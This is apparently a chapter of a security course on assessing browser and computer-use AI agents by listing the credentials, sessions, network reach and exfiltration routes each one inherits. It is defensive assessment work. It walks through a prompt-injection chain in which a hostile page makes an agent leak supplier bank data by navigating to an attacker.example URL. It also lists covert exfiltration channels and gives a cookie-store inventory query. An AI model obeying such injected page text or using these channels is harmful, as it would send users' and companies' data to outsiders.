Chapter 3 of 7 · 16 min read
Authority enumeration
On this page
A prompt-injection payload is a string placed in a page or a document so that a model reading the page takes it as an instruction from its operator and follows it. Collect a few hundred of them, serve them from a set of hostile pages, and you can measure how often an agent follows the injected instruction instead of the user's. That number is real, reproducible, and close to useless for a decision about whether to give a browser agent to two hundred people, because it moves with the model version, the phrasing of the system prompt and the payload set — so a rate that halves overnight tells you the payloads got harder to hit, and nothing about what happens on the occasions they land.
It also flatters the wrong intuition, which is that a low rate means low risk. Two hundred employees, each with an agent touching perhaps thirty pages a day, is six thousand exposures a day; at 4.8% that is roughly 288 successful steerings daily, and at an implausibly good 0.5% it is thirty. This chapter is about the exercise that answers what one of those thirty gets: an authority enumeration, which is an ordered inventory of everything the agent can do without any exploit at all, and which fits in two days.
Take that arithmetic slowly, because its shape is the argument and the particular figures in it are not. Two hundred employees, each holding one agent, each agent reading on the order of thirty pages in a working day, gives six thousand page-reads a day. Multiplication is the right operation because the two quantities were measured separately and each page-read is a separate occasion on which a payload could be present — the population does not change how many pages a person's agent reads, and the pages do not change how many people there are. Now bring in the rate. A susceptibility rate is a probability attached to one exposure, so the expected number of successes in a day is the number of exposures multiplied by that probability, and no further assumption is needed to get there. At the measured rate the product is two hundred and eighty-eight successful steerings a day. Drive the rate down by more than an order of magnitude, to a figure better than anything published, and the product is thirty a day. Thirty a day is still thirty a day, every working day, indefinitely. What that shows is not that the rate is bad news; it is that the rate cannot be pushed low enough to make the count zero, because the count is the rate multiplied by a number that is large and rising. The only remaining lever is the third quantity, the one nobody has measured, which is what a single successful steering is worth.
The order the two days have to run in
The ordering matters because each step establishes something the next step needs, and because the exercise has to produce a decision by a fixed date rather than a complete picture eventually.
| Order | Test | Hours | What it establishes |
|---|---|---|---|
| 1 | Session inventory of the profile it drives | 2 | Which systems it can act in without authenticating |
| 2 | Local identity and ambient credentials | 3 | What it holds beyond the browser: keychain, SSH agent, cloud CLI, signed-in desktop apps |
| 3 | Network position from the machine | 2 | Which internal hosts and admin panels are reachable |
| 4 | Exfiltration channels available to it | 3 | Whether anything it can read can leave, and by what route |
| 5 | Destructive and financial reach | 3 | Which irreversible actions are one click away in the systems from step 1 |
| 6 | One end-to-end injection chain | 2 | That steps 1–5 compose into a real consequence, as proof rather than as a rate |
| 7 | Write-up and decision framing | 3 | What changes in the design before Friday |
The hours column sums to eighteen, which is worth stating out loud because "two days" is not eighteen hours in most people's arithmetic. Two long days is what this is, and the schedule has no slack in it anywhere. Reading the column rather than totalling it is more instructive still. Half the budget sits in three steps — what the machine holds beyond the browser, what can carry data out, and what cannot be undone — and not one of those three is a thing a payload harness measures. The other half buys the inventory those three are read against, and the write-up, which gets three hours because a finding that nobody can act on by Friday is a finding that was not produced.
Step 1 is mechanical and produces the sharpest artefact of the two days. On macOS with Chrome, the cookie store is a SQLite file, and the host keys alone — without decrypting a single value — tell you what the agent inherits:
cp "$HOME/Library/Application Support/Google/Chrome/Default/Cookies" /tmp/c.db
sqlite3 /tmp/c.db "
SELECT host_key, COUNT(*) AS n,
MAX(datetime(expires_utc/1000000-11644473600,'unixepoch')) AS latest
FROM cookies
WHERE expires_utc > (strftime('%s','now')+11644473600)*1000000
GROUP BY host_key ORDER BY n DESC LIMIT 40;"On the test laptop this returned 34 origins, of which nine carried real authority. Write them down as a table of system, role, and the most consequential action available in that role, and the assessment already has more decision-relevant content than a payload harness produces in forty minutes.
Step 2 is the one most people skip, because the agent is "just a browser
agent". The screenshot-and-keystroke loop of a computer-use tool does not
distinguish a browser window from a terminal window, so anything the desktop
session can do is in scope: an unlocked keychain, an ssh-agent with a
forwarded key, ~/.aws/credentials with a role that survives long past the
browser session, a signed-in Slack desktop app, a VPN client that is already
connected. On the machine under test, aws sts get-caller-identity from a
terminal the agent could open returned a role with read access to three
data-export buckets, which is authority the browser inventory in step 1 never
showed.
Step 3 costs two hours and answers whether the machine is on the corporate network in the way that matters. The interesting result is usually a handful of internal tools that have no authentication of their own because they were considered network-protected: a Grafana with anonymous admin, a Jenkins with a build-triggering endpoint, an internal deployment dashboard. Those are reachable by a browser agent for the same reason they are reachable by the employee, and none of them appear in a cookie inventory because none of them use cookies.
Those two steps read as thoroughness and are structural, and the difference is what separates an inventory that closes from one that merely goes on for a while. The instrument in step 1 is a cookie store, and a cookie store can only record authority that is carried in cookies. That is not a shortcoming to be worked around; it is the definition of what the instrument measures. Everything granting authority by some other route is therefore invisible to it by construction, which means the missing categories can be named in advance instead of stumbled into: a credential sitting in a file on disk, a key held by a running agent process, a ticket in a cache, a desktop application carrying its own stored session, and a service that asks for no credential at all because somebody decided the network was the credential. Steps 2 and 3 are exactly those categories, in that order. When a cloud role with read access to three export buckets turns up in step 2 and appears nowhere in step 1, the instruments are behaving correctly rather than contradicting each other. Two inventories that overlap heavily tell you one of them was redundant; two that come back disjoint tell you neither was ever a complete answer on its own, which is the result here.
Step 4 decides whether steps 1 to 3 amount to a data breach or an annoyance.
Exfiltration from a browser agent almost never requires a POST to an attacker's
server, because there are cheaper channels the design does not classify as
actions: navigating to https://attacker.example/collect?d=<base64>, rendering
a markdown image whose URL carries the payload, pasting into a page that
autosaves, adding a calendar guest, sharing a Drive document with an external
address, or opening a new tab with the data in a URL fragment. Topic 7.7, on
data exfiltration channels, works through the general catalogue; what the
enumeration adds is which of them this agent's own guardrails intercept. On
this system the answer was none, because every guardrail was written around
clicking buttons.
Step 5 turns the inventory into consequences, and it is the step that needs care rather than cleverness. Reaching an irreversible action in a production system to prove it is reachable is not a test, it is the incident. The workable method is to walk to the confirmation dialog and stop: navigate to the purchase order approval screen in NetSuite, screenshot the enabled Approve button, and record the value on the order. That establishes reachability with evidence and no consequence. Where a sandbox or test tenant exists, run the last click there and note that the production path is identical up to the final button, which is a claim the reviewer can check.
Stopping at the dialog is a design decision rather than a requirement, and marking which is which keeps the method honest. The requirement is evidence that an irreversible action is reachable by this agent, as this identity, with no exploit involved. Pressing the button would produce that evidence and would also produce a live purchase order, which is an assessment causing the incident it was commissioned to prevent. Walking to the enabled control and recording the order's value produces the same evidence with the consequence subtracted, and it is weaker in exactly one place: it does not demonstrate that the final click succeeds. That single gap is what a test tenant closes, and writing the gap into the report is what stops a reviewer from closing it privately with an assumption that runs in the opposite direction.
The logistics matter more than they should in a two-day exercise. Doing this on a colleague's live laptop is slow, because they need it, and legally awkward, because their mail is in it. A copy of the profile on an isolated machine keeps the sessions intact for the inventory while removing the risk of a test action landing in a real system, though sessions bound to a device fingerprint or a hardware key will not travel and have to be tested on the original machine under supervision. Agree the boundary in writing before the first morning: which systems are in scope for a real action, which stop at the dialog, and who to call if something lands. An assessment that stalls for a day waiting for permission has spent a quarter of its budget on process.
The result that surprises the team, and why
If one finding in this exercise makes a room go quiet, it is step 4 landing through navigation. A team's mental model of "actions" is built from the confirmation dialog they implemented, which fires on clicking submit buttons, sending mail, and anything matching a list of dangerous selectors. Navigation is classified as movement, the thing the agent does between actions, and therefore unconfirmed and unlogged beyond a URL in a trace nobody reads. The demonstration takes four minutes: a hostile page instructs the agent to read the current contents of an open NetSuite supplier record and then "continue research at" a URL with the record encoded in the query string. The agent does not consider this an action, the confirmation layer does not fire, and 2.4 KB of supplier banking detail arrives at a server outside the company with a 200 response.
It surprises because it inverts the assumed relationship between capability and risk. The reasoning in the room had been about what the agent could change, and the finding is about what it can emit, which had been treated as free. The same inversion shows up repeatedly in published work on these tools — the write-ups from Embrace The Red's Agentic ProbLLMs talk and the Black Hat 2025 material on exploiting AI agents both keep landing on channels the design never classified as actions at all, which is what makes them unguarded rather than weakly guarded.
The chain underneath that is worth spelling out one link at a time, because a reader who takes away "navigation is dangerous" will guard navigation and be caught by the next one. A confirmation layer is a list of operations somebody classified as actions. The classification was made by asking which operations change something, and navigation changes nothing on the company's side, which is correct. A request, though, is a transfer, and every part of a URL travels with it: the host, the path, the query string. So the classification is answering "does this write" while the property that decides the damage is "does this send", and those two questions have different answers on precisely this operation. The general rule is that anything leaving the machine carrying attacker-chosen bytes is an exit, whether or not it modifies a thing. Stated that way it predicts the rest of the list without any further demonstrations — a rendered image, a document shared with an external address, a calendar guest, a paste into a page that autosaves — because each of them fails the same classification in the same place.
Step 6 exists to make the chain undeniable and is deliberately last and deliberately small. One payload, one hostile page, one recorded run, ending in a consequence a non-engineer can evaluate: a purchase order approved, a document shared externally, an export downloaded and posted. A single reproducible chain changes a design; a rate invites a target.
It is worth naming the belief the harness was standing in for, because it is a reasonable belief and the test that breaks it is quick. A susceptibility rate was being treated as a defence: drive it low enough and the agent is safe to give to two hundred people. So apply the test that any defence has to pass, which is whether it moves when the thing it is meant to bound moves. Change nothing about the model, the system prompt or the payload set, and instead take the finance system's session out of the profile, or point the agent at a purpose-built profile, or put an allowlist at the proxy. Each of those changes the worst outcome from supplier banking data leaving the company to a summary reaching the wrong internal list, and each of them leaves the measured rate precisely where it was. Then run the experiment the other way: tune the system prompt until the rate halves, and observe that not one system has left the authority map. A quantity that stays fixed while the consequence varies across its whole range, and varies freely while the consequence stays fixed, is measuring something real. It is not measuring what the go/no-go is about.
Writing the finding so it changes something
A report that lists twelve issues with severity ratings gets acknowledged, assigned, and half-fixed over a quarter. A report that presents the design with two decisions in it gets a decision, because it makes the ship date the forcing function rather than the escape hatch. The structure that works has the consequence first, the authority second, and the remediation expressed as a change to the design rather than as an instruction to be careful.
## Finding 2 — Any web page the agent reads can move supplier data off the network
Consequence: a page can cause 2.4 KB of NetSuite supplier records, including
bank details, to reach an external server. Demonstrated 2026-03-11, run 47,
video attached. No exploit, no credential theft, no user interaction.
Authority used: the analyst's live NetSuite session (inherited from the Chrome
profile) plus unrestricted navigation. Neither is a bug; both are the design.
Why the confirmation layer did not fire: it triggers on click-to-submit and on
a selector list. Navigation is not classified as an action.
Design change required (one of):
(a) egress allowlist enforced at the proxy, default deny, 41 domains today; or
(b) the agent runs in a dedicated profile with no session that holds
customer or supplier data.
Not sufficient: system-prompt instructions not to visit unknown domains.
Owner: platform-security (control), agent-team (implementation)
Decision needed by: 2026-03-12 17:00, at the go/no-go
Default if no decision: ship to the 12-person pilot group onlyFour properties do the work there. The consequence is stated in the units the business cares about, so nobody has to translate. The authority section says explicitly that nothing was broken, which prevents the reply that the bug will be fixed. The remediation names the options that would actually close it and names the tempting option that would not, which is the sentence that stops three weeks of prompt tuning. And the default action removes the possibility of the finding being resolved by inaction — if the room cannot decide, the blast radius shrinks to twelve people by default, and the team that wants the wider rollout has to make the case.
The report has two readers with different needs. The engineering manager needs the mechanism, so the evidence and the reproduction go in an appendix complete enough to re-run. The person who owns the rollout decision needs one sentence per finding and a list of the choices in front of them, so the top of the document is a table with three columns: what a page can cause, what would prevent it, and what happens if nothing is decided. Writing the second reader's version first tends to shorten the whole document, because a finding that cannot be expressed as a consequence in one sentence is usually a finding about a mechanism rather than about a risk. Keep the report to the findings that change a decision: two demonstrated authority chains with named remediations move a design, while twelve findings with severity scores create a backlog and a comfortable feeling that the assessment happened.
An authority map has nothing to say about likelihood
Enumeration tells you the size of the consequence and nothing about its probability. It cannot say whether a hostile page will actually appear in this workflow this quarter, or how many of two hundred employees will point the agent at the open web rather than at three known portals. Those are real questions, and a susceptibility rate is a partial answer to them, which is the reason injection testing is second in the order rather than absent from it. Its proper role starts once the authority is bounded: with the profile scoped and egress allowlisted, the rate becomes a regression metric with meaning, because a jump after a model upgrade now signals a change in behaviour within a design whose worst case is already known and tolerable.
Enumeration is also a snapshot. The session inventory is true of one laptop on one Wednesday, and profiles accumulate — the ninth authenticated system was added by the analyst on a Tuesday afternoon without telling anyone, which is normal and which is why "dedicated profile" appears as remediation (b). Anything that depends on the current contents of a human's browser profile is a control with a half-life measured in weeks.
Two days buys a list of things an agent can do with no exploit, as a named identity, against a named system, and one recorded chain proving the list composes. That output is durable in a way a susceptibility rate is not: a model upgrade changes the rate and leaves every line of the authority map exactly where it was, because the map describes the profile, the machine and the network rather than the model.
What it does not settle is whether the capability was worth building. Testing tells you what the exposure is; it does not tell you what the exposure buys, and a browser agent that saves an hour a week is a different proposition from one that replaces a person.
Computer use, browser use and code execution tools — read the current version at https://daviddominguez.dev/learn/en/computer-use-browser-use-and-code-execution-tools/authority-enumeration